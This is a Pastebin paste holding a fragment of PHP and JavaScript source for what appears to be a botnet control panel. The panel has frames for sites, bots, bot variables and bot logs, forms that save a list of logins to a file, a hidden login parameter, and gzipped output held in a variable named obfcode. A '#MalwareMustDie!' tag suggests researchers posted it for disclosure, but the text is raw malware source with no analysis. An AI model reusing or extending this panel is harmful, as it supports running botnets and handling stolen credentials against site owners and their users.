  1465.         obj = '"'+ (esc ? escape(obj) : obj) +'"';
  1466.       }
  1467.       else
  1468.       if(t == "function")
  1469.       {
  1470.         obj = String(obj).substr(0,100);
  1471.         obj = '"'+ (esc ? escape(obj) : obj) +'"';
  1472.       }
  1473.       return String(obj);
  1474.     }
  1475.     else
  1476.     {
  1477.       // recurse array or object
  1478.       var n, v, json = [], arr = (obj && obj.constructor == Array);
  1479.       for(n in obj)
  1480.       {
  1481.         v = obj[n]; t = typeof(v);
  1482.         v = arguments.callee(v,esc);
  1483.         json.push((arr ? "" : '"' + n + '":') + String(v));
  1484.       }
  1485.       return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}");
  1486.     }
  1487.   };
  1488. </script>
  1489. </head>
  1490. <body>
  1491. <?php
  1492.  
  1493.  
  1494. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Редактируем переменные
  1495. $ddv_siteimfilepath_s = ddf_GetPathToSiteImFile($ddv_sitedir_s);
  1496.  
  1497. if(isset($_POST['siteimdata']))
  1498. {
  1499.   $ddv_sitedata_s = stripslashes($_POST['siteimdata']);
  1500.  
  1501.   if(is_array(json_decode($ddv_sitedata_s,true)))
  1502.   {
  1503.     file_put_contents($ddv_siteimfilepath_s,$ddv_sitedata_s);
  1504.     echo
  1505. <<<HTML
  1506. <div class="vardiv"><div class="title">Saved</div></div>
  1507. HTML;
  1508.   }
  1509.   else
  1510.   {
  1511.     echo
  1512. <<<HTML
  1513. <div class="vardiv"><div class="title">Parse ERROR</div></div>
  1514. HTML;
  1515.   };
  1516. };
  1517. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Редактируем переменные
  1518.  
  1519.  
  1520.  
  1521. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Выводим переменные
  1522. echo
  1523. <<<HTML
  1524. <h1>Site: <span onclick="javascript:ddf_SelectText(this);">$ddv_sitedir_s</span></h1><h1>IM:</h1>
  1525. HTML;
  1526.  
  1527. $ddv_siteimfile_s = file_get_contents($ddv_siteimfilepath_s);
  1528.  
  1529. echo
  1530. <<<HTML
  1531. <div id="varsdiv" class="varsdiv">
  1532.  
  1533. <script type="text/javascript">
  1534. var v_content_o = $ddv_siteimfile_s;
  1535. for(var i in v_content_o)
  1536. {
  1537.   document.write('<div class="vardiv"><table class="vartable"><tr><td class="vartd11" align="center" valign="middle"><textarea name="name" class="varname" >'+unescape(v_content_o[i])+'</textarea></td><td class="vartd21" align="left" valign="middle"></td></tr><tr><td class="vartd12" align="center" valign="middle"></td><td class="vartd22" align="left" valign="middle"></td></tr></table></div>');
  1538. };
  1539. </script>
  1540.  
  1541. </div>
  1542. HTML;
  1543.  
  1544. echo
  1545. <<<HTML
  1546. <div class="vardiv"><input type="button" class="vars_submit" name="Add Login" value="Add Login" onclick="javascript:ddf_AddNewVar();"></div>
  1547. <div class="vardiv"><input type="button" class="vars_submit" name="Save Logins" value="Save Logins" onclick="javascript:ddf_SaveVars();"></div>
  1548.  
  1549. <form action="?sitedir=$ddv_sitedir_s&siteim" method="POST" id="form">
  1550. <input type="hidden" id="siteimdata" name="siteimdata" value="">
  1551. </form>
  1552. HTML;
  1553. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Выводим переменные
  1554.  
  1555.  
  1556. ?>
  1557. </body>
  1558. </html>
  1559. <?php
  1560. }
  1561. else
  1562. if(isset($_GET[$GLOBALS['LOGIN']]))
  1563. {
  1564.   ?>
  1565.   <frameset cols="220,350,*" frameborder="1" bordercolor="white" framespacing="3" border="5">
  1566.     <frame src="index.php?sites" name="sites">
  1567.     <frame src="index.php?bots" name="bots">
  1568.     <frameset rows="50%,*">
  1569.       <frame src="index.php?botvars" name="botvars" id="botvars">
  1570.       <frame src="index.php?botlogs" name="botlogs">
  1571.     </frameset>
  1572.   </frameset>
  1573.   <?php
  1574. };
  1575.  
  1576.  
  1577.  
  1578. $obfcode_s = ob_get_contents();
  1579. ob_clean();
  1580. $gzipoutput = gzencode($obfcode_s,9);
  1581.  
  1582. header('Content-Type: text/html');
  1583. header('Content-Encoding: gzip');
  1584. header('Content-Length: '.strlen($gzipoutput));
  1585. Header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  1586. Header("Cache-Control: no-cache, must-revalidate");
  1587. Header("Pragma: no-cache");
  1588.  
  1589. echo($gzipoutput);
  1590. die();
  1591.  
  1592. ?>
  1593.  
  1594.  
  1595.  
  1596.  
  1597. ---
  1598. #MalwareMustDie!
RAW Paste Data
Want to get better at PHP?
Learn to code PHP in 2017
Pastebin PRO Summer Special!
Get 40% OFF on Pastebin PRO accounts!
Top